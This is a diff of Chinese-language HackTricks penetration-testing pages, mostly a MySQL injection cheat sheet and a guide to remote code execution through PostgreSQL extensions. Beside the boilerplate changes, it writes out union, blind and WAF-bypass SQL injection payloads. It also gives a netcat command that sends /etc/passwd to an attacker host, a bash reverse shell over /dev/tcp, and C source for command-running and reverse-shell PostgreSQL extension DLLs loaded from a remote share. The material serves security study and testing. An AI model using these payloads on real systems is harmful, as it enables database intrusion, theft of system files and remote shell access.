[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。这个大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**](https://t.me/peass) 或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# MySQL注入
|
||||
# MySQL 注入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS&HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -28,7 +31,7 @@
|
|||
```
|
||||
## 有趣的函数
|
||||
|
||||
### 确认Mysql:
|
||||
### 确认 Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
|
@ -62,28 +65,28 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
|||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
从[https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
从 [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## 流程
|
||||
|
||||
请记住,在“现代”版本的**MySQL**中,您可以将“_**information\_schema.tables**_”替换为“_**mysql.innodb\_table\_stats**_**”**(这可能对绕过WAFs有用)。
|
||||
请记住,在“现代”版本的 **MySQL** 中,您可以将 "_**information\_schema.tables**_" 替换为 "_**mysql.innodb\_table\_stats**_**"**(这可能有助于绕过 WAF)。
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **仅有1个值**
|
||||
### **仅 1 个值**
|
||||
|
||||
* `group_concat()`
|
||||
* `Limit X,1`
|
||||
|
||||
### **逐个盲注**
|
||||
### **盲注逐个**
|
||||
|
||||
* `substr(version(),X,1)='r'` 或 `substring(version(),X,1)=0x70` 或 `ascii(substr(version(),X,1))=112`
|
||||
* `mid(version(),X,1)='5'`
|
||||
|
||||
### **盲注添加**
|
||||
### **盲注加法**
|
||||
|
||||
* `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
* `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
|
@ -93,7 +96,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||
|
||||
## 检测列数
|
||||
|
||||
使用简单的ORDER
|
||||
使用简单的 ORDER
|
||||
```
|
||||
order by 1
|
||||
order by 2
|
||||
|
@ -106,9 +109,7 @@ UniOn SeLect 1,2
|
|||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## 基于MySQL的Union注入
|
||||
|
||||
MySQL的Union注入是一种常见的SQL注入技术,通过在SQL查询中使用UNION操作符来合并两个查询的结果。攻击者可以利用Union注入来检索数据库中的敏感信息,甚至执行恶意操作。
|
||||
## MySQL 联合查询基础
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
|
@ -117,67 +118,70 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||
```
|
||||
## SSRF
|
||||
|
||||
**在这里学习不同的选项** [**滥用 Mysql 注入以获得 SSRF**](mysql-ssrf.md)**。**
|
||||
**在这里了解不同的选项以** [**利用Mysql注入获取SSRF**](mysql-ssrf.md)**。**
|
||||
|
||||
## WAF bypass tricks
|
||||
## WAF绕过技巧
|
||||
|
||||
### Information\_schema alternatives
|
||||
### Information\_schema替代方案
|
||||
|
||||
请记住,在“现代”版本的 **MySQL** 中,您可以将 _**information\_schema.tables**_ 替换为 _**mysql.innodb\_table\_stats**_ 或 **sys.x$schema\_flattened\_keys**_ 或 **sys.schema_table_statistics**
|
||||
请记住,在“现代”版本的**MySQL**中,您可以将_**information\_schema.tables**_替换为_**mysql.innodb\_table\_stats**_或_**sys.x$schema\_flattened\_keys**_或**sys.schema\_table\_statistics**
|
||||
|
||||
### MySQLinjection without COMMAS
|
||||
### 无逗号的MySQL注入
|
||||
|
||||
选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
选择2列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||
```
|
||||
### 在不知道列名的情况下检索数值
|
||||
### 检索没有列名的值
|
||||
|
||||
如果您知道表的名称但不知道表内列的名称,您可以尝试执行类似以下内容来查找有多少列:
|
||||
如果在某个时刻你知道表的名称,但不知道表内列的名称,你可以尝试执行类似的操作来查找有多少列:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
假设有2列(第一列是ID),另一列是标志,您可以尝试逐个字符地暴力破解标志的内容:
|
||||
假设有2列(第一列是ID),另一列是标志,你可以尝试逐个字符地暴力破解标志的内容:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
更多信息请查看[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
更多信息请访问 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### MySQL历史
|
||||
### MySQL 历史
|
||||
|
||||
您可以在MySQL中查看其他执行情况,读取表:**sys.x$statement\_analysis**
|
||||
您可以通过读取表格 **sys.x$statement\_analysis** 查看其他执行情况。
|
||||
|
||||
### 可选版本
|
||||
### 版本替代**s**
|
||||
```
|
||||
mysql> select @@innodb_version;
|
||||
mysql> select @@version;
|
||||
mysql> select version();
|
||||
```
|
||||
## 其他MYSQL注入指南
|
||||
## 其他 MYSQL 注入指南
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中看到您的公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
# 使用PostgreSQL扩展进行RCE
|
||||
# RCE with PostgreSQL Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL扩展
|
||||
## PostgreSQL 扩展
|
||||
|
||||
PostgreSQL具有可扩展性作为核心功能进行开发,使其能够无缝集成扩展,就好像它们是内置功能一样。这些扩展本质上是用C编写的库,为数据库提供了额外的函数、运算符或类型。
|
||||
PostgreSQL 的开发以可扩展性为核心特性,允许它无缝集成扩展,就像它们是内置功能一样。这些扩展,基本上是用 C 编写的库,丰富了数据库的附加功能、操作符或类型。
|
||||
|
||||
从8.1版本开始,对扩展库施加了一个特定要求:它们必须使用特殊头文件进行编译。如果没有这个,PostgreSQL将不会执行它们,确保只使用兼容且潜在安全的扩展。
|
||||
从 8.1 版本开始,对扩展库施加了特定要求:它们必须使用特殊头文件编译。没有这个,PostgreSQL 将不会执行它们,确保只使用兼容且可能安全的扩展。
|
||||
|
||||
此外,请记住**如果您不知道如何** [**利用PostgreSQL上传文件来攻击受害者,您应该阅读这篇文章。**](big-binary-files-upload-postgresql.md)
|
||||
此外,请记住 **如果你不知道如何** [**利用 PostgreSQL 上传文件到受害者,你应该阅读这篇文章。**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### Linux中的RCE
|
||||
### Linux 中的 RCE
|
||||
|
||||
**有关更多信息,请查看:[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
**更多信息请查看: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
从PostgreSQL 8.1及更早版本开始执行系统命令是一个已经被清楚记录并且直接的过程。可以使用这个:[Metasploit模块](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。
|
||||
从 PostgreSQL 8.1 及更早版本执行系统命令的过程已经被清楚地记录,并且相对简单。可以使用这个:[Metasploit 模块](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
|
@ -36,9 +39,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>使用base64编写二进制文件</summary>
|
||||
<summary>从 base64 写入二进制文件</summary>
|
||||
|
||||
要在PostgreSQL中将二进制数据写入文件,您可能需要使用base64,这将对此非常有帮助:
|
||||
要在 postgres 中将二进制写入文件,您可能需要使用 base64,这对这个问题会很有帮助:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
|
@ -78,20 +81,20 @@ $$ LANGUAGE 'plpgsql';
|
|||
```
|
||||
</details>
|
||||
|
||||
然而,在尝试更高版本时,**显示了以下错误**:
|
||||
然而,当在更高版本上尝试时**显示了以下错误**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
这个错误在[PostgreSQL文档](https://www.postgresql.org/docs/current/static/xfunc-c.html)中有解释:
|
||||
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL会检查文件是否包含一个带有适当内容的“魔术块”。这使得服务器能够检测明显的不兼容性,比如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,需要一个魔术块。要包含一个魔术块,在模块源文件中的一个(且仅一个)中写入以下内容,之前要包含头文件fmgr.h:
|
||||
> 为了确保动态加载的对象文件不会加载到不兼容的服务器中,PostgreSQL检查文件是否包含具有适当内容的“魔法块”。这使得服务器能够检测明显的不兼容性,例如为不同主要版本的PostgreSQL编译的代码。从PostgreSQL 8.2开始,魔法块是必需的。要包含魔法块,请在包含头文件fmgr.h之后,在模块源文件中的一个(且仅一个)位置写入:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
自PostgreSQL版本8.2以来,攻击者利用系统进行攻击的过程变得更具挑战性。攻击者需要利用系统中已经存在的库,或者上传一个自定义库。这个自定义库必须针对与PostgreSQL兼容的主要版本进行编译,并且必须包含一个特定的“魔术块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统架构和版本兼容性有更深入的了解。
|
||||
自PostgreSQL 8.2版本以来,攻击者利用系统的过程变得更加具有挑战性。攻击者需要使用系统上已经存在的库,或者上传自定义库。这个自定义库必须针对兼容的PostgreSQL主要版本进行编译,并且必须包含特定的“魔法块”。这一措施显著增加了利用PostgreSQL系统的难度,因为它需要对系统的架构和版本兼容性有更深入的理解。
|
||||
|
||||
#### 编译库
|
||||
|
||||
|
@ -100,13 +103,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
|||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
为了兼容性,主要版本必须保持一致。因此,使用 9.6.x 系列中的任何版本编译库应该确保成功集成。
|
||||
为了兼容性,主要版本必须对齐。因此,使用9.6.x系列中的任何版本编译库应确保成功集成。
|
||||
|
||||
要在您的系统中安装该版本:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
然后编译库:
|
||||
并编译库:
|
||||
```c
|
||||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||||
#include <string.h>
|
||||
|
@ -123,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
|
|||
PG_RETURN_INT32(system(command));
|
||||
}
|
||||
```
|
||||
然后使用以下命令上传已编译的库并执行命令:
|
||||
然后上传编译好的库并使用以下命令执行:
|
||||
```bash
|
||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
你可以找到这个**库的预编译版本**适用于多个不同的PostgreSQL版本,甚至可以通过以下方式(如果你有PostgreSQL访问权限)**自动化这个过程**:
|
||||
您可以找到这个 **库的预编译版本** 适用于多个不同的 PostgreSQL 版本,甚至可以 **自动化这个过程**(如果您有 PostgreSQL 访问权限):
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
|
||||
### 在Windows中的RCE
|
||||
### Windows中的RCE
|
||||
|
||||
以下DLL以**二进制文件的名称**和您希望执行的**次数**作为输入,并执行它:
|
||||
以下DLL以 **二进制文件的名称** 和您想要执行的 **次数** 作为输入并执行它:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
|
@ -172,17 +175,17 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
你可以在这个压缩包中找到编译好的 DLL:
|
||||
您可以在此 zip 文件中找到编译的 DLL:
|
||||
|
||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||
|
||||
你可以指示这个 DLL **要执行哪个二进制文件** 以及要执行的次数,在这个例子中它将执行 `calc.exe` 2 次:
|
||||
您可以指示此 DLL **要执行哪个二进制文件** 以及执行的次数,在此示例中,它将执行 `calc.exe` 2 次:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
在[**这里**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)你可以找到这个反向shell:
|
||||
在 [**这里** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)你可以找到这个反向 shell:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
|
@ -260,36 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
|
|||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
注意,在这种情况下,**恶意代码位于DllMain函数内部**。这意味着在这种情况下,不需要在postgresql中执行加载的函数,只需**加载DLL**就会**执行**反向shell:
|
||||
注意在这种情况下,**恶意代码位于 DllMain 函数内部**。这意味着在这种情况下,不需要在 postgresql 中执行加载的函数,只需**加载 DLL** 就会**执行**反向 shell:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
### 在最新的Postgres版本中的RCE
|
||||
The [PolyUDF project](https://github.com/rop-la/PolyUDF) 也是一个很好的起点,提供完整的 MS Visual Studio 项目和一个现成的库(包括:_command eval_、_exec_ 和 _cleanup_)以及多版本支持。
|
||||
|
||||
在最新的PostgreSQL版本中,已经实施了一些限制,其中`superuser`被禁止从特定目录之外加载共享库文件,例如在Windows上是`C:\Program Files\PostgreSQL\11\lib`,在\*nix系统上是`/var/lib/postgresql/11/lib`。这些目录受到NETWORK\_SERVICE或postgres帐户的写入操作限制。
|
||||
### 最新 PostgreSQL 版本中的 RCE
|
||||
|
||||
尽管存在这些限制,一个经过身份验证的数据库`superuser`仍然可以使用"大对象"将二进制文件写入文件系统。这种能力扩展到了在`C:\Program Files\PostgreSQL\11\data`目录内进行写入,这对于数据库操作(如更新或创建表)是必不可少的。
|
||||
在 **最新版本** 的 PostgreSQL 中,已施加限制,`superuser` **被禁止** 从特定目录以外 **加载** 共享库文件,例如 Windows 上的 `C:\Program Files\PostgreSQL\11\lib` 或 \*nix 系统上的 `/var/lib/postgresql/11/lib`。这些目录对 NETWORK\_SERVICE 或 postgres 账户的写操作是 **安全的**。
|
||||
|
||||
一个重要的漏洞来自`CREATE FUNCTION`命令,它允许对数据目录进行目录遍历。因此,一个经过身份验证的攻击者可以利用这种遍历将共享库文件写入数据目录,然后加载它。这种利用使攻击者能够执行任意代码,在系统上实现本地代码执行。
|
||||
尽管有这些限制,经过身份验证的数据库 `superuser` 仍然可以使用“大型对象” **将二进制文件写入** 文件系统。此功能扩展到在 `C:\Program Files\PostgreSQL\11\data` 目录中写入,这对于更新或创建表等数据库操作至关重要。
|
||||
|
||||
